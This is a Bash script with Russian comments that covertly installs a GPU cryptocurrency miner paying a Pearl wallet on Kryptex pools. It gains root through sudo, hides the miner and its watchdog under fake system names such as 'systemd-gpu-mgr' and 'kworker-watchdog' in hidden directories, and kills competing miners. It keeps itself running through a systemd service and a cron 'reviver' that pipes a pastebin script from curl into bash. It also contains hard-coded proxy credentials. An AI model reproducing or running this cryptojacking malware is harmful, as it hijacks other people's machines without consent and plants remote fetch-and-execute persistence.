Загрузка данных
#!/bin/bash
# Убираем -e, чтобы скрипт мог сам обрабатывать ошибки, не завершаясь мгновенно
set -uo pipefail
# Глобальный обработчик критических ошибок
trap 'echo "[ERROR] An unexpected error occurred at line $LINENO. Attempting to continue..." >&2' ERR
# ==============================================================================
# --- PART A: PRIVILEGE & PATHS ---
# ==============================================================================
SUDO_CMD=""
PRIVILEGE_MODE="USER"
if [ "$(id -u)" -eq 0 ]; then
PRIVILEGE_MODE="ROOT"
elif command -v sudo >/dev/null 2>&1; then
if sudo -v >/dev/null 2>&1; then PRIVILEGE_MODE="ROOT"; SUDO_CMD="sudo"; fi
fi
# ==============================================================================
# --- PART 0: CONFIGURATION (LPMINER / PEARL / KRYPTEX) ---
# ==============================================================================
# СЮДА ВСТАВЬТЕ ССЫЛКУ НА ЭТОТ СКРИПТ ПОСЛЕ ЗАЛИВКИ НА ХОСТИНГ
readonly SCRIPT_URL="https://pastebin.com/raw/79Zqzc6Q"
readonly XRAY_INSTALLER_URL="https://pastebin.com/raw/baTZ3wcj"
readonly POOL_LIST="stratum+ssl://prl.kryptex.network:8048,stratum+ssl://prl-eu.kryptex.network:8048,stratum+ssl://prl-ru.kryptex.network:8048,stratum+ssl://prl-us.kryptex.network:8048,stratum+ssl://prl-sg.kryptex.network:8048,stratum+ssl://prl-br.kryptex.network:8048,stratum+ssl://prl-ae.kryptex.network:8048,stratum+tcp://prl.kryptex.network:7048,stratum+tcp://prl-eu.kryptex.network:7048,stratum+tcp://prl-ru.kryptex.network:7048,stratum+tcp://prl-us.kryptex.network:7048,stratum+tcp://prl-sg.kryptex.network:7048,stratum+tcp://prl-br.kryptex.network:7048,stratum+tcp://prl-ae.kryptex.network:7048"
readonly BASE_WALLET_ADDRESS="krxXK4RM46" #
# Резервные прокси
readonly P_USER="i76qPr"
readonly P_PASS="Lt1t3TZZhR"
readonly P_IP="45.87.252.72"
readonly BACKUP_SOCKS="$P_USER:$P_PASS@$P_IP:5501"
readonly BACKUP_HTTP="$P_USER:$P_PASS@$P_IP:5500"
# Ссылка на lpminer
readonly BINARY_URL="https://github.com/peakminer/peakminer/releases/download/v2.7.1/peakminer-2.7.1-linux-x86_64"
readonly DAEMON_NAME="systemd-gpu-mgr"
readonly SERVICE_NAME="systemd-gpu-mgr"
readonly HYDRA_WATCHDOG_NAME="kworker-watchdog"
declare -a BACKUP_LOCATIONS
if [ "$PRIVILEGE_MODE" = "ROOT" ]; then
BASE_DIR="/lib/systemd/system-gpu"
BACKUP_LOCATIONS=( "/usr/local/share/.sys-gpu" "/etc/udev/hwdb.d/.backup" )
else
BASE_DIR="$HOME/.cache/sys-gpu"
BACKUP_LOCATIONS=( "$HOME/.local/share/.sys-gpu" )
fi
# Fallback: Если основная директория недоступна, используем /tmp
if ! $SUDO_CMD mkdir -p "$BASE_DIR" 2>/dev/null; then
BASE_DIR="/tmp/.sys-gpu-$(id -u)"
fi
INSTALL_DIR="$BASE_DIR"
LOG_DIR="${BASE_DIR}/logs"
GENESIS_BLOCK_PATH="$INSTALL_DIR/sys-gpu.conf"
REVIVER_SCRIPT_PATH="$INSTALL_DIR/sys-reviver"
readonly MINER_LOG_FILE="$LOG_DIR/miner.log"
readonly WATCHDOG_LOG_FILE="$LOG_DIR/watchdog.log"
readonly REVIVER_LOG_FILE="$LOG_DIR/reviver.log"
WORKER_NAME=""
# ==============================================================================
# --- PART 1: PREPARATION & OPTIMIZATION ---
# ==============================================================================
# ==============================================================================
# --- PART 1: PREPARATION & OPTIMIZATION ---
# ==============================================================================
unlock_files() {
# Снимаем атрибут "неизменяемости" (immutable) со всех файлов,
# чтобы их можно было удалить или заменить.
if [ "$PRIVILEGE_MODE" = "ROOT" ] && command -v chattr >/dev/null 2>&1; then
$SUDO_CMD chattr -i "$INSTALL_DIR"/* 2>/dev/null || true
for b in "${BACKUP_LOCATIONS[@]}"; do
$SUDO_CMD chattr -i "$b"/* 2>/dev/null || true
done
fi
}
cleanup_old() {
echo "[INFO] Cleaning up legacy processes..."
# Сначала разблокируем, потом удаляем
unlock_files || true
# Останавливаем системную службу, если она есть
if [ "$PRIVILEGE_MODE" = "ROOT" ] && command -v systemctl >/dev/null 2>&1; then
$SUDO_CMD systemctl stop "$SERVICE_NAME" >/dev/null 2>&1 || true
$SUDO_CMD systemctl disable "$SERVICE_NAME" >/dev/null 2>&1 || true
fi
# Завершаем все связанные процессы
for name in rigel lpminer "$DAEMON_NAME" "$HYDRA_WATCHDOG_NAME" xray; do
$SUDO_CMD pkill -9 -f "$name" >/dev/null 2>&1 || true
done
# Удаляем директорию установки
$SUDO_CMD rm -rf "$INSTALL_DIR" 2>/dev/null || true
}
setup_system() {
echo "[INFO] Installing dependencies..."
if [ "$PRIVILEGE_MODE" = "ROOT" ]; then
if command -v apt-get >/dev/null 2>&1; then
$SUDO_CMD apt-get update -y >/dev/null 2>&1 || true
$SUDO_CMD apt-get install -y curl wget tar coreutils cron e2fsprogs >/dev/null 2>&1 || true
elif command -v yum >/dev/null 2>&1; then
$SUDO_CMD yum install -y curl wget tar cronie e2fsprogs >/dev/null 2>&1 || true
fi
fi
# Увеличиваем лимит открытых файлов для майнера
ulimit -n 1048576 >/dev/null 2>&1 || true
}
# ==============================================================================
# --- PART 2: DOWNLOAD LPMINER ---
# ==============================================================================
# --- Добавьте эту функцию перед deploy_miner ---
download_file() {
local url="$1"
local output="$2"
local max_attempts=3
local curl_opts="-L -# --connect-timeout 5 --speed-limit 10240 --speed-time 10"
for ((i=1; i<=max_attempts; i++)); do
echo " -> Attempt $i/$max_attempts: Trying Direct Connection..."
if curl $curl_opts -o "$output" "$url"; then return 0; fi
echo " -> Direct failed. Trying SOCKS5 Proxy..."
if curl $curl_opts --socks5-hostname "$BACKUP_SOCKS" -o "$output" "$url"; then return 0; fi
sleep 2
done
return 1
}
deploy_miner() {
local worker_arg="${1:-}"; local extra_args="${2:-}"
$SUDO_CMD mkdir -p "$INSTALL_DIR" "$LOG_DIR"
WORKER_NAME="${worker_arg:-gpu-node}"
{ echo "SCRIPT_URL=\"$SCRIPT_URL\""; echo "WORKER_NAME=\"$WORKER_NAME\""; echo "EXTRA_ARGS=\"$extra_args\""; } | $SUDO_CMD tee "$GENESIS_BLOCK_PATH" > /dev/null
$SUDO_CMD chmod 600 "$GENESIS_BLOCK_PATH" >/dev/null 2>&1 || true
echo "[INFO] Downloading PeakMiner (Direct Binary)..."
# Прямое скачивание без распаковки
if ! download_file "$BINARY_URL" "$INSTALL_DIR/$DAEMON_NAME"; then
echo "[CRITICAL] Miner download failed!"
exit 1
fi
# Делаем файл исполняемым
$SUDO_CMD chmod 755 "$INSTALL_DIR/$DAEMON_NAME"
echo "[INFO] PeakMiner downloaded and ready."
}
# ==============================================================================
# --- PART 3: SMART WATCHDOG (LPMINER VERSION) ---
# ==============================================================================
deploy_watchdog() {
local extra_gpu_args="$1"
cat << EOF | $SUDO_CMD tee "$INSTALL_DIR/$HYDRA_WATCHDOG_NAME" > /dev/null
#!/bin/bash
INSTALL_DIR="$INSTALL_DIR"
DAEMON_NAME="$DAEMON_NAME"
MINER_LOG_FILE="$MINER_LOG_FILE"
# Параметры запуска
COIN="pearl"
USER_WALLET="$BASE_WALLET_ADDRESS.$WORKER_NAME"
POOL_URLS="$POOL_LIST"
while true; do
if ! pgrep -f "\$DAEMON_NAME" >/dev/null 2>&1; then
CMD="export CUDA_VISIBLE_DEVICES=0,1,2,3,4,5,6,7 && ./\$DAEMON_NAME --coin \$COIN \
--url \$POOL_URLS \
--user \$USER_WALLET \
--log-file $MINER_LOG_FILE --log-append \
--job-timeout 60 \
--dns-over-https \
$extra_gpu_args"
(cd "\$INSTALL_DIR" && setsid nohup bash -c "\$CMD" > /dev/null 2>&1 &)
fi
sleep 30
done
EOF
$SUDO_CMD chmod +x "$INSTALL_DIR/$HYDRA_WATCHDOG_NAME"
}
# ==============================================================================
# --- PART 4: PERSISTENCE (AUTO-REVIVER) ---
# ==============================================================================
deploy_persistence() {
$SUDO_CMD touch "$REVIVER_LOG_FILE" 2>/dev/null || true
cat << EOF | $SUDO_CMD tee "$REVIVER_SCRIPT_PATH" > /dev/null
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:\$HOME/bin"
INSTALL_DIR="$INSTALL_DIR"
DAEMON_NAME="$DAEMON_NAME"
GENESIS_BLOCK="$GENESIS_BLOCK_PATH"
(
flock -n 200 || exit 1
if ! pgrep -f "\$DAEMON_NAME" >/dev/null 2>&1; then
if [ ! -d "\$INSTALL_DIR" ] || [ ! -f "\$INSTALL_DIR/\$DAEMON_NAME" ]; then
if [ -f "\$GENESIS_BLOCK" ]; then
source "\$GENESIS_BLOCK"
(curl -sL "\$SCRIPT_URL" | sed 's/\r$//' | bash -s -- "\$WORKER_NAME" \$EXTRA_ARGS) >/dev/null 2>&1 &
fi
fi
fi
) 200>/var/lock/.reviver.lock 2>/dev/null || true
EOF
$SUDO_CMD chmod +x "$REVIVER_SCRIPT_PATH" 2>/dev/null || true
if [ "$PRIVILEGE_MODE" = "ROOT" ]; then
echo "[INFO] Deploying Root Persistence..."
if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
$SUDO_CMD mkdir -p /etc/systemd/system 2>/dev/null || true
local service_path="/etc/systemd/system/$SERVICE_NAME.service"
cat << EOF | $SUDO_CMD tee "$service_path" > /dev/null
[Unit]
Description=System GPU Manager
After=network.target
[Service]
Type=simple
ExecStart=$INSTALL_DIR/$HYDRA_WATCHDOG_NAME
WorkingDirectory=$INSTALL_DIR
Restart=always
RestartSec=10
LimitNOFILE=1048576
[Install]
WantedBy=default.target
EOF
$SUDO_CMD systemctl daemon-reload >/dev/null 2>&1 || true
$SUDO_CMD systemctl enable "$SERVICE_NAME" >/dev/null 2>&1 || true
$SUDO_CMD systemctl restart "$SERVICE_NAME" >/dev/null 2>&1 || true
else
(cd "$INSTALL_DIR" && setsid nohup "./$HYDRA_WATCHDOG_NAME" >/dev/null 2>&1 &)
fi
$SUDO_CMD mkdir -p /etc/cron.d 2>/dev/null || true
echo "* * * * * root $REVIVER_SCRIPT_PATH" | $SUDO_CMD tee "/etc/cron.d/sys-reviver" > /dev/null || true
else
echo "[INFO] Deploying User Persistence (Crontab)..."
if command -v crontab >/dev/null 2>&1; then
(crontab -l 2>/dev/null | grep -v "$REVIVER_SCRIPT_PATH"; echo "* * * * * $REVIVER_SCRIPT_PATH") | crontab - >/dev/null 2>&1 || true
fi
(cd "$INSTALL_DIR" && nohup "./$HYDRA_WATCHDOG_NAME" >/dev/null 2>&1 &)
fi
}
# ==============================================================================
# --- ENTRY ---
# ==============================================================================
main() {
local w=""
local args=""
# Обработка аргументов
while [[ $# -gt 0 ]]; do
case "$1" in
--devices) if [ -n "${2:-}" ]; then args+="--devices $2 "; shift 2; else shift; fi ;;
*)
if [ -z "$w" ] && [[ "$1" != -* ]]; then w="$1"
else args+="$1 "; fi
shift ;;
esac
done
echo "=================================================="
echo " LPMINER DEPLOYMENT (PEARL / KRYPTEX)"
echo "=================================================="
cleanup_old
setup_system
deploy_miner "$w" "$args"
deploy_watchdog "$args"
deploy_persistence
echo "=================================================="
echo "[SUCCESS] INSTALLATION COMPLETE."
echo " Worker Name : $WORKER_NAME"
echo " Wallet/ID : $BASE_WALLET_ADDRESS"
echo " Log file : tail -f $MINER_LOG_FILE"
echo "=================================================="
}
main "$@"